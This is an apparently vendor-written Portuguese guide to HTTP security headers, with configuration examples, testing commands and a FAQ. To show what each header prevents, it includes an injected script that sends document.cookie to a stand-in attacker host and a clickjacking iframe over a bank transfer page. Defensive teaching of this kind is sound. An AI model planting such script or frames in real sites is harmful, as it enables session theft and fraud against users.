HTTP security headers são headers de resposta que instruem navegadores a ativar proteções de segurança integradas. Headers como Content-Security-Policy, X-Frame-Options e Strict-Transport-Security defendem contra ataques XSS, clickjacking e downgrade de protocolo ao impor políticas de segurança no nível do navegador.
Como Funcionam os HTTP Security Headers
Security headers são enviados pelo servidor nas respostas HTTP antes do conteúdo da página. Navegadores analisam esses headers e ativam mecanismos de segurança correspondentes antes de renderizar a página, criando uma camada defensiva que opera independentemente do código da aplicação.
┌─────────────────────────────────────────────────────────────────┐│ Fluxo de Security Header ││ ││ Servidor ││ │ ││ │ HTTP/1.1 200 OK ││ │ Content-Security-Policy: default-src 'self' ││ │ X-Frame-Options: DENY ││ │ Strict-Transport-Security: max-age=31536000 ││ │ X-Content-Type-Options: nosniff ││ │ Referrer-Policy: strict-origin-when-cross-origin ││ │ Permissions-Policy: geolocation=() ││ │ ││ ▼ ││ Navegador ──▶ Analisa headers ──▶ Ativa proteções ──▶ Renderiza ││ │└─────────────────────────────────────────────────────────────────┘Headers de Segurança Essenciais
1. Content-Security-Policy (CSP)
Controla quais recursos o navegador pode carregar, prevenindo ataques XSS e injeção de dados.
| Diretiva | Propósito | Exemplo |
|---|---|---|
default-src | Fallback para outras diretivas | 'self' |
script-src | Fontes válidas de JavaScript | 'self' 'unsafe-inline' |
style-src | Fontes válidas de CSS | 'self' 'unsafe-inline' |
img-src | Fontes válidas de imagens | 'self' data: https: |
connect-src | Endpoints válidos para AJAX/WebSocket | 'self' api.exemplo.com |
font-src | Fontes válidas de fontes | 'self' fonts.gstatic.com |
frame-src | Fontes válidas de iframes | 'self' |
object-src | Fontes válidas de plugins | 'none' |
Configuração CSP básica:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.exemplo.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.exemplo.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'CSP com nonce para scripts inline:
Content-Security-Policy: script-src 'self' 'nonce-abc123def456'<script nonce="abc123def456"> // Este script inline é permitido console.log('Script inline seguro');</script>Ataque prevenido:
<!-- Atacante injeta isso - BLOQUEADO pelo CSP --><script> fetch('https://malicioso.com/roubar?cookie=' + document.cookie);</script>2. Strict-Transport-Security (HSTS)
Força navegadores a usar HTTPS para todas as requisições futuras ao domínio, prevenindo ataques de downgrade de protocolo.
| Diretiva | Propósito | Exemplo |
|---|---|---|
max-age | Duração em segundos | 31536000 (1 ano) |
includeSubDomains | Aplicar a todos os subdomínios | Opcional |
preload | Submeter às listas de preload dos navegadores | Opcional |
HSTS básico:
Strict-Transport-Security: max-age=31536000HSTS com subdomínios e preload:
Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadAtaque prevenido:
Sem HSTS: Usuário digita: exemplo.com Navegador tenta: http://exemplo.com (vulnerável a MITM) Atacante intercepta, rouba credenciais
Com HSTS: Usuário digita: exemplo.com Navegador força: https://exemplo.com (seguro) Atacante não consegue interceptar3. X-Frame-Options
Impede que a página seja incorporada em iframes em outros domínios, bloqueando ataques de clickjacking.
| Valor | Efeito |
|---|---|
DENY | Bloqueia todo framing |
SAMEORIGIN | Permite apenas framing de mesma origem |
ALLOW-FROM origin | Permite origem específica (descontinuado) |
Configuração recomendada:
X-Frame-Options: DENYOu use CSP frame-ancestors (abordagem moderna):
Content-Security-Policy: frame-ancestors 'none'Ataque prevenido:
<!-- Site do atacante malicioso.com --><iframe src="https://banco.exemplo.com/transferir" style="opacity: 0.1"> <button style="position: absolute; top: 100px;">Ganhe Prêmio!</button></iframe><!-- Usuário clica em "Ganhe Prêmio" mas na verdade clica no botão de transferência --><!-- BLOQUEADO: Página do banco não pode ser frameada em malicioso.com -->4. X-Content-Type-Options
Impede navegadores de fazer MIME-sniffing de respostas diferente do content-type declarado, bloqueando uploads maliciosos.
X-Content-Type-Options: nosniffAtaque prevenido:
Sem nosniff: 1. Atacante faz upload de "imagem.jpg" contendo JavaScript 2. Servidor serve com Content-Type: image/jpeg 3. Navegador analisa conteúdo, detecta JavaScript 4. Navegador executa como script → XSS
Com nosniff: 1. Navegador respeita Content-Type: image/jpeg 2. Recusa executar como script 3. Ataque bloqueado5. Referrer-Policy
Controla quanto informação de referrer é enviada com requisições.
| Valor | Comportamento |
|---|---|
no-referrer | Nunca enviar referrer |
no-referrer-when-downgrade | Sem referrer em HTTPS→HTTP |
origin | Envia apenas origem (não URL completa) |
origin-when-cross-origin | URL completa same-origin, origem cross-origin |
same-origin | Referrer apenas para same-origin |
strict-origin | Apenas origem, sem referrer em downgrade |
strict-origin-when-cross-origin | Padrão recomendado |
Configuração recomendada:
Referrer-Policy: strict-origin-when-cross-origin6. Permissions-Policy (antigo Feature-Policy)
Controla quais features e APIs do navegador a página pode usar.
Políticas comuns:
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()Permitir origens específicas:
Permissions-Policy: geolocation=(self "https://maps.exemplo.com"), camera=()7. Cross-Origin Policies
Headers modernos para controlar compartilhamento de recursos cross-origin.
Cross-Origin-Opener-Policy (COOP):
Cross-Origin-Opener-Policy: same-originIsola contexto de navegação, previne referências de janela cross-origin.
Cross-Origin-Embedder-Policy (COEP):
Cross-Origin-Embedder-Policy: require-corpRequer permissão explícita para carregamento de recursos cross-origin.
Caso de uso: Habilitar SharedArrayBuffer:
Cross-Origin-Opener-Policy: same-originCross-Origin-Embedder-Policy: require-corpComparação de Security Headers
| Header | Ataque Prevenido | Suporte Navegador | Prioridade |
|---|---|---|---|
| Content-Security-Policy | XSS, injeção | Todos modernos | Crítica |
| Strict-Transport-Security | MITM, downgrade | Todos modernos | Crítica |
| X-Frame-Options | Clickjacking | Todos | Alta |
| X-Content-Type-Options | MIME sniffing | Todos | Alta |
| Referrer-Policy | Vazamento de dados | Todos modernos | Média |
| Permissions-Policy | Abuso de features | Navegadores modernos | Média |
| Cross-Origin-* | Ataques side-channel | Navegadores modernos | Avançado |
Exemplos de Implementação
Nginx
server { listen 443 ssl http2; server_name exemplo.com;
# HSTS add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
# Content Security Policy add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.exemplo.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;
# Frame protection add_header X-Frame-Options "DENY" always;
# MIME sniffing protection add_header X-Content-Type-Options "nosniff" always;
# Referrer policy add_header Referrer-Policy "strict-origin-when-cross-origin" always;
# Permissions policy add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;}Express.js
const helmet = require('helmet');
app.use(helmet());
// Ou configurar individualmenteapp.use( helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.exemplo.com"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", "data:", "https:"], connectSrc: ["'self'"], fontSrc: ["'self'", "https://fonts.gstatic.com"], objectSrc: ["'none'"], frameAncestors: ["'none'"], baseUri: ["'self'"], formAction: ["'self'"] } }));Testando Security Headers
Ferramentas Online
| Ferramenta | URL |
|---|---|
| Security Headers | securityheaders.com |
| Mozilla Observatory | observatory.mozilla.org |
| Hardenize | hardenize.com |
Linha de Comando
# Verificar headers com curlcurl -I https://exemplo.com
# Verificar header específicocurl -sI https://exemplo.com | grep -i "content-security-policy"
# Verificar todos security headerscurl -sI https://exemplo.com | grep -iE "(strict-transport|x-frame|x-content|referrer-policy|permissions-policy|content-security)"Erros Comuns
| Erro | Impacto | Correção |
|---|---|---|
| CSP ausente | Vulnerabilidade XSS | Implementar CSP estrito |
CSP com unsafe-inline scripts | Proteção XSS reduzida | Usar nonces ou hashes |
| HSTS max-age curto | Proteção expira | Usar mínimo de 1 ano |
| HSTS sem subdomínios | Ataques de downgrade em subdomínios | Adicionar includeSubDomains |
Usar X-Frame-Options: ALLOW-FROM | Descontinuado, não confiável | Usar DENY ou CSP frame-ancestors |
| CSP muito permissivo | Proteção limitada | Usar 'self' ao invés de * |
FAQ
Qual a diferença entre X-Frame-Options e CSP frame-ancestors? X-Frame-Options é mais antigo e só suporta DENY ou SAMEORIGIN. CSP frame-ancestors é mais flexível, permitindo origens específicas. Use CSP para novos projetos, mas mantenha ambos para compatibilidade.
Por que CSP usa 'unsafe-inline' e é seguro? 'unsafe-inline' permite scripts/estilos inline, que enfraquece a proteção XSS. Use nonces ou hashes em produção. Apenas use 'unsafe-inline' durante migração ou quando nonces não são viáveis.
Como testar CSP sem quebrar meu site? Use o header Content-Security-Policy-Report-Only para registrar violações sem bloquear:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri csp-reports-endpointSecurity headers previnem todos ataques XSS? Não. CSP reduz significativamente o risco de XSS mas não pode prevenir XSS baseado em DOM de scripts de mesma origem. Combine com output encoding e validação de input.
Security headers afetam performance? Impacto mínimo. HSTS economiza tempo de redirect. CSP pode bloquear alguns recursos, que é o comportamento esperado. Headers adicionam ~500 bytes às respostas.
Como Implementar na Azion
A Edge Application da Azion permite configurar security headers globalmente na borda:
- Edge Application → Rules Engine - Adicionar security headers a todas as respostas
- Response Headers - Configurar CSP, HSTS, X-Frame-Options nas Rules
- Edge Functions - Geração dinâmica de nonce CSP para scripts inline
Veja: Rules Engine | Functions